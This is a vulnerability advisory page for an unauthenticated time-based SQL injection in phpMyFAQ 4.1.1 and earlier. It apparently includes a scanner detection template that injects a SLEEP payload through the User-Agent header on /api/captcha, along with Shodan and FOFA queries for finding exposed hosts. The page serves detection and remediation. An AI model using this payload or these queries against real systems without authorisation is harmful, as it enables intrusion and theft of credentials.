phpMyFAQ <= 4.1.1 - SQL Injection
CVE-2026-46364
Verified
Description
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
Severity
Critical
CVSS Score
9.8
Exploit Probability
2%
Published Date
June 4, 2026
Template Author
dhiyaneshdk
CVE-2026-46364.yaml
id: CVE-2026-46364
info:
name: phpMyFAQ <= 4.1.1 - SQL Injection
author: DhiyaneshDk
severity: critical
description: |
phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
impact: |
Unauthenticated attackers can extract sensitive data including user credentials, admin tokens, and SMTP credentials from the database.
remediation: |
Upgrade phpMyFAQ to version 4.1.2 or later.
reference:
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w
- https://www.phpmyfaq.de
- http://nvd.nist.gov/vuln/detail/CVE-2026-46364
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-89
epss-score: 0.01709
epss-percentile: 0.74535
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1194891278
fofa-query: app="phpMyFAQ"
tags: cve,cve2026,sqli,phpmyfaq
http:
- raw:
- |
@timeout: 20s
GET /api/captcha HTTP/1.1
Host: {{Hostname}}
User-Agent: x' OR SLEEP(8) OR 'x
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'status_code == 200'
- 'contains(body, "Truncated incorrect DOUBLE")'
condition: and
# digest: 4a0a0047304502205aff268642ecff5b7f12de13d7271b8315257b68eec582d8316093522cfc7e0e022100cf0239e83f482d63b317020cf71a5a6cdb03b3ac6856b3b190c298ae0336daea:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE ID:
cwe-89
Remediation Steps
Upgrade phpMyFAQ to version 4.1.2 or later.